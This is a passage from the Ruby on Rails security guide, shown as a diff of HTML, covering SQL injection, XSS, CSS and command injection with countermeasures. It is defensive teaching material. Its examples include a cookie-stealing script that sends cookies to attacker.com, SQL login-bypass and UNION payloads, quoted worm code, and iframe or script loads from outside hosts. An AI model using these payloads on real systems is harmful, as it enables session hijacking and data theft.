+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> File <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_format_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>with <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/^[\w\.\-\+]+$/</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, <span style="background-color: #fffcdb;">in Ruby ^ and $ matches the <strong>line</strong> beginning and line end</span>. And thus a file name like this passes the filter without problems:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>file.txt%0A&lt;script&gt;alert('hello')&lt;/script&gt;</tt></pre>
+</div></div>
+<div class="para"><p>Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF6600">/\A[\w\.\-\+]+\z/</span>
+<span style="color: #990000">[</span>source<span style="color: #990000">,</span> ruby<span style="color: #990000">]</span>
+</tt></pre></div></div>
+<h3 id="_privilege_escalation">7.7. Privilege escalation</h3>
+<div class="para"><p>&#8212; <em>Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.</em></p></div>
+<div class="para"><p>The most common parameter that a user might tamper with, is the id parameter, as in <tt>http://www.domain.com/project/1</tt>, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, <span style="background-color: #fffcdb;">query the user's access rights, too</span>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@project</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>projects<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, <span style="background-color: #fffcdb;">no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated</span>.</p></div>
+<div class="para"><p>Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. <span style="background-color: #fffcdb;">JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values</span>. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.</p></div>
+</div>
+<h2 id="_injection">8. Injection</h2>
+<div class="sectionbody">
+<div class="para"><p>&#8212; <em>Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.</em></p></div>
+<div class="para"><p>Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.</p></div>
+<h3 id="_whitelists_versus_blacklists">8.1. Whitelists versus Blacklists</h3>
+<div class="para"><p>&#8212; <em>When sanitizing, protecting or verifying something, whitelists over blacklists.</em></p></div>
+<div class="para"><p>A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), <span style="background-color: #fffcdb;">prefer to use whitelist approaches</span>:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Use before_filter :only &#8658; [&#8230;] instead of :except &#8658; [&#8230;]. This way you don't forget to turn it off for newly added actions.
+</p>
+</li>
+<li>
+<p>
+Use attr_accessible instead of attr_protected. See the mass-assignment section for details
+</p>
+</li>
+<li>
+<p>
+Allow &lt;strong&gt; instead of removing &lt;script&gt; against Cross-Site Scripting (XSS). See below for details.
+</p>
+</li>
+<li>
+<p>
+Don't try to correct user input by blacklists:
+</p>
+<div class="ilist"><ul>
+<li>
+<p>
+This will make the attack work: "&lt;sc&lt;script&gt;ript&gt;".gsub("&lt;script&gt;", "")
+</p>
+</li>
+<li>
+<p>
+But reject malformed input
+</p>
+</li>
+</ul></div>
+</li>
+</ul></div>
+<div class="para"><p>Whitelists are also a good approach against the human factor of forgetting something in the blacklist.</p></div>
+<h3 id="_sql_injection">8.2. SQL Injection</h3>
+<div class="para"><p>&#8212; <em>Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.</em></p></div>
+<h4 id="_introduction_2">8.2.1. Introduction</h4>
+<div class="para"><p>SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters <em> OR 1=1</em>, the resulting SQL query will be:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>SELECT * FROM projects WHERE name = '' OR 1 --'</tt></pre>
+</div></div>
+<div class="para"><p>The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.</p></div>
+<h4 id="_bypassing_authorization">8.2.2. Bypassing authorization</h4>
+<div class="para"><p>Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>User<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #FF0000">"login = '#{params[:name]}' AND password = '#{params[:password]}'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>If an attacker enters <em> OR '1</em>=<em>1 as the name, and </em> OR <em>2</em>&gt;'1 as the password, the resulting SQL query will be:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'&gt;'1' LIMIT 1</tt></pre>
+</div></div>
+<div class="para"><p>This will simply find the first record in the database, and grants access to this user.</p></div>
+<h4 id="_unauthorized_reading">8.2.3. Unauthorized reading</h4>
+<div class="para"><p>The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Project<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"name = '#{params[:name]}'"</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>And now let's inject another query using the UNION statement:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --</tt></pre>
+</div></div>
+<div class="para"><p>This will result in the following SQL query:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>SELECT * FROM projects WHERE (name = '') UNION
+  SELECT id,login AS name,password AS description,1,1,1 FROM users --')</tt></pre>
+</div></div>
+<div class="para"><p>The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.</p></div>
+<div class="para"><p>Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails <a href="http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/">to at least 2.1.1</a>.</p></div>
+<h4 id="_countermeasures_2">8.2.4. Countermeasures</h4>
+<div class="para"><p>Ruby on Rails has a built in filter for special SQL characters, which will escape ' , " , NULL character and line breaks. <span style="background-color: #fffcdb;">Using Model.find(id) or Model.find_by_some thing(something) automatically applies this countermeasure[,#fffcdb]</span>. But in SQL fragments, especially <span style="background-color: #fffcdb;">in conditions fragments (:conditions &#8658; "&#8230;"), the connection.execute() or Model.find_by_sql() methods, it has to be applied manually</span>.</p></div>
+<div class="para"><p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"login = ? AND password = ?"</span><span style="color: #990000">,</span> entered_user_name<span style="color: #990000">,</span> entered_password<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>login <span style="color: #990000">=&gt;</span> entered_user_name<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> entered_password<span style="color: #FF0000">}</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<div class="para"><p>The array or hash form is only available in model instances. You can try <tt>sanitize_sql()</tt> elsewhere. <span style="background-color: #fffcdb;">Make it a habit to think about the security consequences when using an external string in SQL</span>.</p></div>
+<h3 id="_cross_site_scripting_xss">8.3. Cross-Site Scripting (XSS)</h3>
+<div class="para"><p>&#8212; <em>The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p></div>
+<h4 id="_entry_points">8.3.1. Entry points</h4>
+<div class="para"><p>An entry point is a vulnerable URL and its parameters where an attacker can start an attack.</p></div>
+<div class="para"><p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live HTTP Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p></div>
+<div class="para"><p>XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p></div>
+<div class="para"><p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites <a href="http://www.0x000000.com/?i=556">were hacked</a> like this, among them the British government, United Nations and many more high targets.</p></div>
+<div class="para"><p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p></div>
+<h4 id="_html_javascript_injection">8.3.2. HTML/JavaScript Injection</h4>
+<div class="para"><p>The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. <span style="background-color: #fffcdb;">Escaping user input is essential</span>.</p></div>
+<div class="para"><p>Here is the most straightforward test to check for XSS:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&lt;script&gt;alert('Hello');&lt;/script&gt;</tt></pre>
+</div></div>
+<div class="para"><p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&lt;img src=javascript:alert('Hello')&gt;
+&lt;table background="javascript:alert('Hello')"&gt;</tt></pre>
+</div></div>
+<h5 id="_cookie_theft">Cookie theft</h5>
+<div class="para"><p>These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&lt;script&gt;document.write(document.cookie);&lt;/script&gt;</tt></pre>
+</div></div>
+<div class="para"><p>For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&lt;script&gt;document.write('&lt;img src="http://www.attacker.com/' + document.cookie + '"&gt;');&lt;/script&gt;</tt></pre>
+</div></div>
+<div class="para"><p>The log files on www.attacker.com will read like this:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2</tt></pre>
+</div></div>
+<div class="para"><p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p></div>
+<h5 id="_defacement">Defacement</h5>
+<div class="para"><p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&lt;iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”&gt;&lt;/iframe&gt;</tt></pre>
+</div></div>
+<div class="para"><p>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html">actual attack</a> on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.</p></div>
+<div class="para"><p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p></div>
+<div class="para"><p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson&#8230;":</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--&gt;
+  &lt;script src=http://www.securitylab.ru/test/sc.js&gt;&lt;/script&gt;&lt;!--</tt></pre>
+</div></div>
+<h5 id="_countermeasures_3">Countermeasures</h5>
+<div class="para"><p><span style="background-color: #fffcdb;">It is very important to filter malicious input, but it is also important to escape the output of the web application</span>.</p></div>
+<div class="para"><p>Especially for XSS, it is important to do <span style="background-color: #fffcdb;">whitelist input filtering instead of blacklist</span>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p></div>
+<div class="para"><p>Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>strip_tags("some&lt;&lt;b&gt;script&gt;alert('hello')&lt;&lt;/b&gt;/script&gt;")</tt></pre>
+</div></div>
+<div class="para"><p>This returned "some&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
+s = sanitize(user_input, :tags =&gt; tags, :attributes =&gt; %w(href title))</tt></pre>
+</div></div>
+<div class="para"><p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p></div>
+<div class="para"><p>As a second step, <span style="background-color: #fffcdb;">it is good practice to escape all output of the application</span>, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). <span style="background-color: #fffcdb;">Use escapeHTML() (or its alias h()) method</span> to replace the HTML input characters &amp;,",&lt;,&gt; by its uninterpreted representations in HTML (&amp;amp;, &amp;quot;, &amp;lt; and &amp;gt;). However, it can easily happen that the programmer forgets to use it, so <span style="background-color: #fffcdb;">it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</span>. SafeErb reminds you to escape strings from external sources.</p></div>
+<h5 id="_obfuscation_and_encoding_injection">Obfuscation and Encoding Injection</h5>
+<div class="para"><p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
+  &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</tt></pre>
+</div></div>
+<div class="para"><p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">Hackvertor</a>. Rails‘ sanitize() method does a good job to fend off encoding attacks.</p></div>
+<h4 id="_examples_from_the_underground">8.3.3. Examples from the underground</h4>
+<div class="para"><p>&#8212; <em>In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.</em></p></div>
+<div class="para"><p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&amp;tabid=1">Js.Yamanner at m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&lt;img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
+  target=""onload="var http_request = false;    var Email = '';
+  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...</tt></pre>
+</div></div>
+<div class="para"><p>The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.</p></div>
+<div class="para"><p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on <a href="http://rosario.valotta.googlepages.com/home">Rosario Valotta's website</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p></div>
+<div class="para"><p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.</p></div>
+<div class="para"><p>The MySpace Samy worm will be discussed in the CSS Injection section.</p></div>
+<h3 id="_css_injection">8.4. CSS Injection</h3>
+<div class="para"><p>&#8212; <em>CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.</em></p></div>
+<div class="para"><p>CSS Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p></div>
+<div class="para"><p>MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&lt;div style="background:url('javascript:alert(1)')"&gt;</tt></pre>
+</div></div>
+<div class="para"><p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"&gt;</tt></pre>
+</div></div>
+<div class="para"><p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>alert(eval('document.body.inne' + 'rHTML'));</tt></pre>
+</div></div>
+<div class="para"><p>The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"&gt;</tt></pre>
+</div></div>
+<div class="para"><p>Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.</p></div>
+<div class="para"><p>In the end, he got a 4 KB worm, which he injected into his profile page.</p></div>
+<div class="para"><p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).</p></div>
+<h4 id="_countermeasures_4">8.4.1. Countermeasures</h4>
+<div class="para"><p>This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. <span style="background-color: #fffcdb;">If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application</span>. Use Rails' <tt>sanitize()</tt> method as a model for a whitelist CSS filter, if you really need one.</p></div>
+<h3 id="_textile_injection">8.5. Textile Injection</h3>
+<div class="para"><p>&#8212; <em>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. <a href="http://whytheluckystiff.net/ruby/redcloth/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to XSS.</em></p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>For example, RedCloth translates _test_ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:</tt></pre>
+</div></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;').to_html
+=&gt; "&lt;script&gt;alert(1)&lt;/script&gt;"</tt></pre>
+</div></div>
+<div class="para"><p>Use the :filter_html option to remove HTML which was not created by the Textile processor.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;', [:filter_html]).to_html
+=&gt; "alert(1)"</tt></pre>
+</div></div>
+<div class="para"><p>However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>&gt;&gt; RedCloth.new("&lt;a href='javascript:alert(1)'&gt;hello&lt;/a&gt;", [:filter_html]).to_html
+=&gt; "&lt;p&gt;&lt;a href="javascript:alert(1)"&gt;hello&lt;/a&gt;&lt;/p&gt;"</tt></pre>
+</div></div>
+<h4 id="_countermeasures_5">8.5.1. Countermeasures</h4>
+<div class="para"><p>It is recommended to <span style="background-color: #fffcdb;">use RedCloth in combination with a whitelist input filter</span>, as described in the countermeasures against XSS.</p></div>
+<h3 id="_ajax_injection">8.6. Ajax Injection</h3>
+<div class="para"><p>&#8212; <em>The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.</em></p></div>
+<div class="para"><p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <span style="background-color: #fffcdb;">you have to escape the return value in the action</span>. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p></div>
+<h3 id="_rjs_injection">8.7. RJS Injection</h3>
+<div class="para"><p>&#8212; <em>Don't forget to escape in JavaScript (RJS) templates, too.</em></p></div>
+<div class="para"><p>The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <span style="background-color: #fffcdb;">If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()</span>. Otherwise an attacker could execute arbitrary JavaScript.</p></div>
+<h3 id="_command_line_injection">8.8. Command Line Injection</h3>
+<div class="para"><p>&#8212; <em>Use user-supplied command line parameters with caution.</em></p></div>
+<div class="para"><p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p></div>
+<div class="para"><p>A countermeasure is to <span style="background-color: #fffcdb;">use the <tt>system(command, parameters)</tt> method which passes command line parameters safely</span>.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>system("/bin/echo","hello; rm *")
+# prints "hello; rm *" and does not delete files</tt></pre>
+</div></div>
+<h3 id="_header_injection">8.9. Header Injection</h3>
+<div class="para"><p>&#8212; <em>HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.</em></p></div>
+<div class="para"><p>HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. <span style="background-color: #fffcdb;">Remember to escape these header fields, too.</span> For example when you display the user agent in an administration area.</p></div>
